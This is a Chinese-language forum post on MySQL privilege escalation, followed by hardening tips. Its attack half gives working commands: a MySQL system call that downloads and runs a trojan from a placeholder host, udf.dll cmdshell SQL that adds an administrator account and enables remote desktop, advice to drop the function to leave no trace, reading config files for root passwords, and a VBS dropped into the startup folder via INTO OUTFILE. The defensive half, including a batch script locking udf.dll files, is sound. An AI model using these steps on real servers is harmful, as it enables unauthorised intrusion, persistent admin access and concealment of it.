整理了好久,发出来喷喷。
一、提权:
linux下:
1.有 MySQL 的 root 用户可以通过 system 函数提权得到 linux root。比如:
mysql>system wget http://xxxxx.com/muma.exe ;
mysql>system chmod +x muma.exe;
mysql>system ./muma.exe;
以上方法经验证无效。system函数是执行本地的shell命令而已。
2.有webshell的情况直接上传Linx Mysql Door(通过webshell Mysql.php直接安装),实际上也是利用system函数。
windows下:在有 webshell 的情况下可以进行提权,也就是说首先要上传一个 webshell 到服务器(php 网页木马,一般使用 PHPSPY)。之后分为两种情况:
1.有MySQL普通帐号,且有MySQL的插入、删除、创建函数的权限:
1)使用webshell连接MySQL数据库,填入MySQL普通帐号。
2)在webshell提供的SQL执行的地方,导出udf.dll到系统目录。
3)执行以下SQL语句,添加系统管理员账号,开3389远程连接等。
select cmdshell('net user admins 226404553 /add');
select cmdshell('net localgroup administrators admins /add');
select cmdshell('regedit /s d:wwwroot3389.reg')
select cmdshell('c:3389.exe');
drop function cmdshell; 记得删除函数,不留痕迹
2.没有MySQL帐号:
1)使用webshell查看C:boot.ini(确定操作系统版本以便后续入侵)、
C:windowsmy.ini(获得MySQL root账号密码)。若my.ini被删除,使用webshell查看phpinfo.php,获得网站绝对路径,如:D:/wwwroot/xxx/,然后读取php或配置文件查找MySQL root账号密码。还可以下载MySQL的user.myd表,本地搭建MySQL查看表内容。
2)后面的操作就是使用udf.dll提权了。当使用udf.dll提权失败时,还可以通过写vbs到启动项的方法进行提权:
create table a (cmd text);
insert into a values ("set wshshell=createobject (""wscript.shell"") ");
insert into a values ("a=wshshell.run (""cmd.exe /c net user iis_user123!@#abcABC /add"",0) " );
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators iis_user /add"",0) " );
select * from a into outfile "C:Documents and SettingsAll Users「开始」菜单程序启动a.vbs";
二、防范:
1.删除 user.myd 表、phpinfo、information_schemata(防止跨库攻击)。
2.做好上传漏洞的防范工作,见 @请问有什么好的办法避免程序被SQL注入。
3.开启MySQL内部支持的SSL,为了远程连接数据库做协议加密,防止被骇客窃听数据。
4.用户、管理员账号的密码使用新版的MD5和SHA做加密,防止user表下载本地爆破密码。
5.参考 MySQL安全配置文档、apache+php+mysql安全配置全攻略。
windows:
1.限制用户对C盘根目录下的文件访问,防止骇客窥视 C:/boot.ini、C:/windowsmy.ini。
2.禁止 wscript.shell 组件使用。
3.关闭、删除 3389 远程登录服务。
4.删除 udf.dll 和 langouster_udf.dll ,新建 udf.dll 和 langouster_udf.dll 设为只读,权限上限制,也可防止所有 langouster_udf.dll 专用网马。新建批处理文件并运行,如下:
Code:net stop mysql
del %SystemRoot%/system32/udf.dll /A/F/Q
del %SystemRoot%/udf.dll /A/F/Q
del %SystemRoot%/temp/udf.dll /A/F/Q
dir %SystemRoot%/system32/com > %SystemRoot%/system32/udf.dll
dir %SystemRoot%/system32/com > %SystemRoot%/udf.dll
dir %SystemRoot%/system32/com > %SystemRoot%/temp/udf.dll
attrib +R +S +H %SystemRoot%/system32/udf.dll
attrib +R +S +H %SystemRoot%/udf.dll
attrib +R +S +H %SystemRoot%/temp/udf.dll
cscript.exe xcacls.vbs "%SystemRoot%/system32/udf.dll" /D Everyone:M /E
cscript.exe xcacls.vbs "%SystemRoot%/udf.dll" /D Everyone:M /E
cscript.exe xcacls.vbs "%SystemRoot%/temp/udf.dll" /D Everyone:M /E
del %SystemRoot%/system32/langouster_udf.dll /A/F/Q
del %SystemRoot%/langouster_udf.dll /A/F/Q
del %SystemRoot%/temp/langouster_udf.dll /A/F/Q
dir %SystemRoot%/system32/com > %SystemRoot%/system32/langouster_udf.dll
dir %SystemRoot%/system32/com > %SystemRoot%/langouster_udf.dll
dir %SystemRoot%/system32/com > %SystemRoot%/temp/langouster_udf.dll
attrib +R +S +H %SystemRoot%/system32/langouster_udf.dll
attrib +R +S +H %SystemRoot%/langouster_udf.dll
attrib +R +S +H %SystemRoot%/temp/langouster_udf.dll
cscript.exe xcacls.vbs "%SystemRoot%/system32/langouster_udf.dll" /D Everyone:M /E
cscript.exe xcacls.vbs "%SystemRoot%/langouster_udf.dll" /D Everyone:M /E
cscript.exe xcacls.vbs "%SystemRoot%/temp/langouster_udf.dll" /D Everyone:M /E
net start mysql
Linux:
1.使用sudo命令进制system函数执行。
2.若不需要SSH远程登录,彻底删除SSH服务。